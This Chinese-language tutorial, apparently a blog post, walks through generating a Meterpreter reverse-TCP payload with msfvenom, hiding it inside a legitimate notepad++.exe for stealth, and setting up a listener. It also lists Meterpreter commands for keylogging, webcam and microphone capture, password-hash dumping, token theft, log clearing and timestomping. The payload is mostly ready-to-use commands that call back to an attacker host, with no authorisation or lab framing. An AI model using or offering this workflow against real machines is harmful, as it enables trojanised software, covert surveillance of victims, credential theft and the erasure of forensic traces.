Metasploit: 从 Payload 生成到 Meterpreter 命令详解指南

本指南将全面介绍使用 Metasploit Framework (msfvenom + msfconsole) 生成 Meterpreter 反向 TCP payload,以及在成功建立会话后如何使用 Meterpreter 的各种强大命令进行系统操作、侦察和提权。

前提条件

  • 已安装 Metasploit Framework。
  • 已连接到目标机器的网络。
  • 具有目标机器上管理员权限(用于生成 Payload 后注入或传递,或者用于 Meterpreter 的高级命令)。

第一部分:使用 msfvenom 生成 Meterpreter Payload

msfvenom 是 Metasploit Framework 的 payload 生成器,用于创建各种格式和类型的 payload。

1. Payload 生成命令结构

msfvenom -p <payload> LHOST=<你的Kali IP> LPORT=<监听端口> -f <输出格式> -o <输出文件名>
  • -p <payload>: 指定 payload 类型,例如 windows/x64/meterpreter/reverse_tcp (适用于 64 位 Windows 的反向 TCP Meterpreter)。
  • LHOST=<你的Kali IP>: 设置你的 Kali Linux 机器的 IP 地址,Payload 将连接回此地址。
  • LPORT=<监听端口>: 设置 Payload 连接回 Kali 的端口。
  • -f <输出格式>: 指定输出文件的格式,如 exe (Windows 可执行文件)。
  • -o <输出文件名>: 指定生成文件的名称。

2. 生成包含合法程序的 Payload (-x)

为了增加隐蔽性,可以将 Payload 注入到现有的合法可执行文件中。

命令示例:

# 假设你的 Kali IP 是 192.168.0.104,监听端口为 4444
# 并且你有一个合法的 notepad++.exe 文件在当前目录下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe -x notepad++.exe -o meterpreter_notepad.exe

执行后,将在当前目录生成 meterpreter_notepad.exe 文件,它是一个包含 Meterpreter Payload 的可执行文件。


第二部分:使用 msfconsole 设置监听器

在生成 Payload 后,需要启动一个监听器来接收来自目标机器的连接。

1. 启动 msfconsole

msfconsole

2. 选择监听模块

Meterpreter 反向连接监听模块是 exploit/multi/handler

msf6 > use exploit/multi/handler

3. 配置 Payload 选项

设置与 msfvenom 生成 Payload 时相同的 Payload 类型。

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

4. 设置监听地址 (LHOST) 和端口 (LPORT)

确保这些值与 msfvenom 中设置的值完全一致。

msf6 exploit(multi/handler) > set LHOST 192.168.0.104  # 替换为你的 Kali IP
msf6 exploit(multi/handler) > set LPORT 4444        # 替换为你设置的监听端口

5. 检查所有选项

使用 show options 命令确认所有设置。

msf6 exploit(multi/handler) > show options

关键检查项:

  • LHOST: 你的 Kali IP 地址。
  • LPORT: 你设置的监听端口。
  • Payload: windows/x64/meterpreter/reverse_tcp

6. 启动监听器

执行 runexploit 命令来启动监听器。

msf6 exploit(multi/handler) > run

你应看到类似 [*] Started reverse TCP handler on 0.0.0.0:4444 的消息,表示监听器已成功启动。


第三部分:在目标机器上执行 Payload

在目标机器上执行生成的 meterpreter_notepad.exe 文件。执行方式可能包括:

  • 直接运行: 在目标机器上双击运行或通过命令行执行。
  • 文件传输: 通过网络共享、漏洞利用等方式将文件发送到目标机器并执行。

Payload 执行后,它将尝试连接回你的 Kali IP (LHOST) 的指定端口 (LPORT)。如果连接成功,你会在 msfconsole 中看到 Meterpreter 会话被建立。


第四部分:Meterpreter 命令详解

一旦建立了 Meterpreter 会话,你就可以使用以下命令与目标机器进行交互。

核心命令 (Core Commands)

命令 (Command) 中文解释
? / help 显示帮助菜单,提供所有可用命令列表。
background / bg 将当前会话放到后台,以便执行其他操作或切换会话。
bgkill 终止一个正在后台运行的 Meterpreter 脚本。
bglist 列出当前后台运行的 Meterpreter 脚本。
bgrun <script> 将一个 Meterpreter 脚本作为后台线程执行。
channel 显示当前活动的通道信息,用于管理 Meterpreter 的不同服务。
close 关闭一个指定的通道。
detach (HTTP/HTTPS) 将会话从当前进程分离,使其能在后台独立运行。
disable_unicode_encoding 禁用 Unicode 字符串的自动编码。
enable_unicode_encoding 启用 Unicode 字符串的自动编码(默认)。
exit / quit 终止当前的 Meterpreter 会话。
get_timeouts 显示当前会话的超时设置。
guid 获取当前会话的全局唯一标识符 (GUID)。
irb 在当前会话上下文中打开 Ruby 交互式解释器,用于脚本编写和高级交互。
load <extension> 加载 Meterpreter 扩展(如 espia, mimikatz)以获得额外功能。
machine_id 获取附加到会话的机器在 Metasploit Framework 中的 ID。
migrate 将 Meterpreter 后端进程迁移到目标机器上的另一个进程,提高隐蔽性。
pivot 管理 Pivot 监听器,实现从被控机器攻击网络中其他机器。
pry 打开 Pry 调试器,用于高级脚本开发和调试。
read 从指定的通道读取数据。
resource <file> 从一个 .rc 脚本文件读取并执行 Metasploit 命令,实现任务自动化。
run 执行一个 Meterpreter 脚本或 Post 模块。
secure 重新协商或启用 Meterpreter 会话的 TLV 数据包加密。
sessions 在多个活动 Meterpreter 会话之间快速切换。
set_timeouts 设置会话的超时参数(如空闲超时、重连间隔)。
sleep 让 Meterpreter 进入休眠状态,暂时停止通信,一段时间后重连。
ssl_verify 修改 SSL/TLS 证书验证行为。
transport 管理 Meterpreter 的通信传输协议(TCP, HTTP, HTTPS)。
use load 命令的旧式别名。
uuid 获取当前会话的通用唯一标识符 (UUID)。
write 向指定的通道写入数据。

Stdapi: 文件系统命令 (Stdapi: File system Commands)

这些命令用于操作目标机器的文件系统。

命令 (Command) 中文解释
cat <file> 读取并显示指定文件的内容。
cd <dir> 切换当前工作目录到目标机器上的指定目录。
checksum <file> 计算并返回指定文件的校验和。
cp <src> <dest> 将源文件或目录复制到目标位置。
del <file> 删除指定的文件。
dir / ls 列出当前目录下的文件和子目录。
download <remote> [local] 将目标机器上的文件或目录下载到本地 Kali 机器。
edit <file> 使用默认编辑器打开目标机器上的文件进行编辑。
getlwd / lpwd 显示你 Kali Linux 本地机器当前的工作目录。
getwd 显示目标机器上当前 Meterpreter 的工作目录。
lcat <file> 读取你 Kali Linux 本地机器上的文件内容并显示。
lcd <dir> 切换你 Kali Linux 本地机器的当前工作目录。
ldir / lls 列出你 Kali Linux 本地机器上当前目录的文件和子目录。
lmkdir <dir> 在你 Kali Linux 本地机器上创建一个新的目录。
mkdir <dir> 在目标机器上创建一个新的目录。
mv <src> <dest> 将源文件或目录移动到目标位置。
pwd 显示目标机器上当前 Meterpreter 的工作目录。
rm <file> 删除目标机器上的指定文件。
rmdir <dir> 删除目标机器上的指定目录(通常要求目录为空)。
search <pattern> 在目标机器的文件系统中搜索符合指定模式的文件。
show_mount 列出目标机器上所有挂载点或逻辑驱动器。
upload <local> [remote] 将你 Kali Linux 本地机器上的文件或目录上传到目标机器的指定位置。

Stdapi: 网络命令 (Stdapi: Networking Commands)

用于侦察和管理目标机器的网络连接。

命令 (Command) 中文解释
arp 显示目标机器的 ARP 缓存表。
getproxy 显示目标机器当前的网络代理配置。
ifconfig 列出目标机器的网络接口配置(IP, MAC 等)。
ipconfig 列出目标机器的网络接口配置(IP, 子网掩码, 网关等)。
netstat 显示目标机器当前活动网络连接的列表。
portfwd 将你 Kali 本地的某个端口转发到目标机器上的一个服务。
resolve <host> 在目标机器上解析指定的主机名到 IP 地址。
route 查看和修改目标机器的路由表。

Stdapi: 系统命令 (Stdapi: System Commands)

用于执行系统级别的操作。

命令 (Command) 中文解释
clearev 清除目标机器的事件日志(安全、系统、应用程序日志)。
drop_token 放弃当前进程的模拟令牌,恢复为原始权限。
execute <cmd> 在目标机器上执行一个命令。
getenv <variable> 获取目标机器上环境变量的值。
getpid 获取当前 Meterpreter 进程的进程 ID (PID)。
getprivs 尝试启用当前进程可用的所有权限,以提升权限。
getsid 获取当前进程运行用户的安全标识符 (SID)。
getuid 显示当前 Meterpreter 进程运行的用户账户和 UID。
kill <pid> 终止目标机器上指定 PID 的进程。
localtime 显示目标机器的本地日期和时间。
pgrep <name> 根据进程名过滤并列出进程信息。
pkill <name> 根据进程名终止目标机器上的进程。
ps 列出目标机器上所有正在运行的进程及其详细信息。
reboot 重启目标机器。
reg 与目标机器的注册表进行交互(查看、修改、删除项和值)。
rev2self 调用 RevertToSelf() 函数,将进程令牌恢复为其原始所有者。
shell 提供一个目标机器的交互式命令行 shell(如 cmd.exe)。
shutdown 关闭或重启目标机器。
steal_token 尝试从另一个目标进程窃取其模拟令牌,用于身份冒充。
suspend <pid> 暂停或恢复目标机器上指定的进程。
sysinfo 获取目标机器的详细系统信息(操作系统版本、名称、架构等)。

Stdapi: 用户界面命令 (Stdapi: User interface Commands)

用于与目标机器的用户界面进行交互。

命令 (Command) 中文解释
enumdesktops 枚举目标机器上所有可访问的桌面和窗口工作站。
getdesktop 获取 Meterpreter 当前附加到的目标机器的桌面。
idletime 返回目标机器的当前登录用户已空闲的秒数。
keyboard_send <keys> 向目标机器发送一系列键盘输入。
keyevent <event> 发送单个键盘按键事件。
keyscan_dump 显示并清除已捕获的键盘记录。
keyscan_start 开始捕获目标机器上用户的键盘输入。
keyscan_stop 停止键盘输入捕获。
mouse 发送模拟鼠标事件(移动、点击等)。
screenshare 在 Kali 机器上实时显示目标机器的桌面内容。
screenshot 截取目标机器当前桌面的屏幕截图。
setdesktop 更改 Meterpreter 当前附加到的目标机器桌面。
uictl <control> <val> 控制目标机器的用户界面组件(如启用/禁用屏幕保护、锁定屏幕)。

Stdapi: 摄像头命令 (Stdapi: Webcam Commands)

用于访问和控制目标机器的摄像头。

命令 (Command) 中文解释
record_mic <sec> 从目标机器的默认麦克风录制指定秒数的音频。
webcam_chat 启动一个实时视频聊天会话。
webcam_list 列出目标机器上所有连接的网络摄像头。
webcam_snap 从指定的摄像头拍摄一张静态图片。
webcam_stream 从指定的摄像头实时播放视频流。

Stdapi: 音频输出命令 (Stdapi: Audio Output Commands)

用于在目标机器上播放音频。

命令 (Command) 中文解释
play <file> 在目标机器上播放一个 .wav 格式的音频文件(需要先上传到目标机器)。

Priv: 提权命令 (Priv: Elevate Commands)

用于尝试提升当前进程的权限。

命令 (Command) 中文解释
getsystem 尝试将当前 Meterpreter 进程的权限提升到目标机器的 SYSTEM (本地系统) 权限。

Priv: 密码数据库命令 (Priv: Password database Commands)

用于提取用户凭据信息。

命令 (Command) 中文解释
hashdump 尝试从目标机器的 SAM 数据库中导出用户账户的密码哈希值,用于离线破解。 (需要管理员权限)

Priv: 时间戳命令 (Priv: Timestomp Commands)

用于修改文件的时间戳属性,以清理痕迹。

命令 (Command) 中文解释
timestomp <file> 修改目标机器上文件的 MACE (Modified, Accessed, Created, Entry-Modified) 属性。

提示:

  • 命令帮助: 使用 help <command><command> -h 获取特定命令的详细用法。
  • 权限: 许多 Priv 命令以及部分 Stdapi 命令(如 hashdump, clearev, reg 等)需要 Meterpreter 进程拥有管理员权限才能执行。
  • 后台执行: 对于耗时操作(如文件下载、屏幕录制),可以使用 bgrun 命令将其放到后台执行。
  • 隐蔽性: 迁移进程 (migrate)、使用 SSL/TLS (ssl 选项)、禁用 Unicode 编码等技术可以提高 Meterpreter 会话的隐蔽性。
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。